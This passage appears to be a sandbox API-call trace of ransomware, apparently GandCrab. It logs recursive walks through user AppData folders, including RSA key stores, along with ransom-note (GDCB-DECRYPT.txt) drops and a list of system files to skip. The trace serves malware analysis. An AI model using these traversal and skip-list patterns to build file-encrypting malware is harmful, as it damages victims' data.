[0135.522] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.522] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0135.522] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0135.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000" [0135.522] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0135.523] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.523] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.523] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.523] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.523] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.523] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.523] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 105 [0135.523] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0135.523] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c7680 [0135.523] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.523] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.523] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.523] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.523] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.523] lstrcmpW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2=".") returned 1 [0135.523] lstrcmpW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="..") returned 1 [0135.523] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0135.523] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0135.523] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.523] lstrcmpW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2=".") returned 1 [0135.523] lstrcmpW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="..") returned 1 [0135.523] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0135.523] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0135.523] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.523] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.523] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.523] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt" [0135.523] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 121 [0135.523] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.523] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.523] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.523] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.524] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt") returned 122 [0135.524] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1462094071-1423818996-289466292-1000\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.524] GetLastError () returned 0x50 [0135.524] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.524] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 105 [0135.524] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0135.524] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7680 [0135.524] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.524] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.524] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.524] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.524] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.524] lstrcmpW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2=".") returned 1 [0135.524] lstrcmpW (lpString1="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="..") returned 1 [0135.524] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0135.524] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.524] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0135.524] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0135.524] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.525] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.525] lstrcmpW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2=".") returned 1 [0135.525] lstrcmpW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="..") returned 1 [0135.525] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" [0135.525] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.525] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0135.525] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174 [0135.525] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.525] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.525] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.525] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.525] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt" [0135.525] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.525] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 121 [0135.525] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 121 [0135.525] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 121 [0135.525] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 121 [0135.525] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.525] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.525] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.525] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.525] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.525] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.525] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.525] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.525] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.525] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.526] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.526] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.526] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.526] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.526] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.526] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.526] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.526] lstrcmpW (lpString1="Document Building Blocks", lpString2=".") returned 1 [0135.526] lstrcmpW (lpString1="Document Building Blocks", lpString2="..") returned 1 [0135.526] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Document Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0135.526] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\" [0135.526] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.526] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.526] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\") returned 73 [0135.526] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*" [0135.526] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.527] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.527] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.527] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.527] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.527] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.527] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0135.527] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0135.527] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0135.527] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned 77 [0135.527] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.527] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.527] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.527] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt" [0135.527] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\GDCB-DECRYPT.txt") returned 89 [0135.527] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.527] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.527] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.527] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.527] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\\\GDCB-DECRYPT.txt") returned 90 [0135.527] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.528] GetLastError () returned 0x50 [0135.528] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.528] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\") returned 73 [0135.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*" [0135.528] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7900 [0135.528] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.528] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.528] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.528] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.528] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.528] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0135.528] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0135.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0135.528] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\" [0135.529] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.529] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.529] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.529] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.529] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.529] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.529] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\") returned 78 [0135.529] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*" [0135.529] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7780 [0135.529] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.530] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.530] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.530] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.530] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.530] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0135.530] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0135.530] lstrcatW (in: 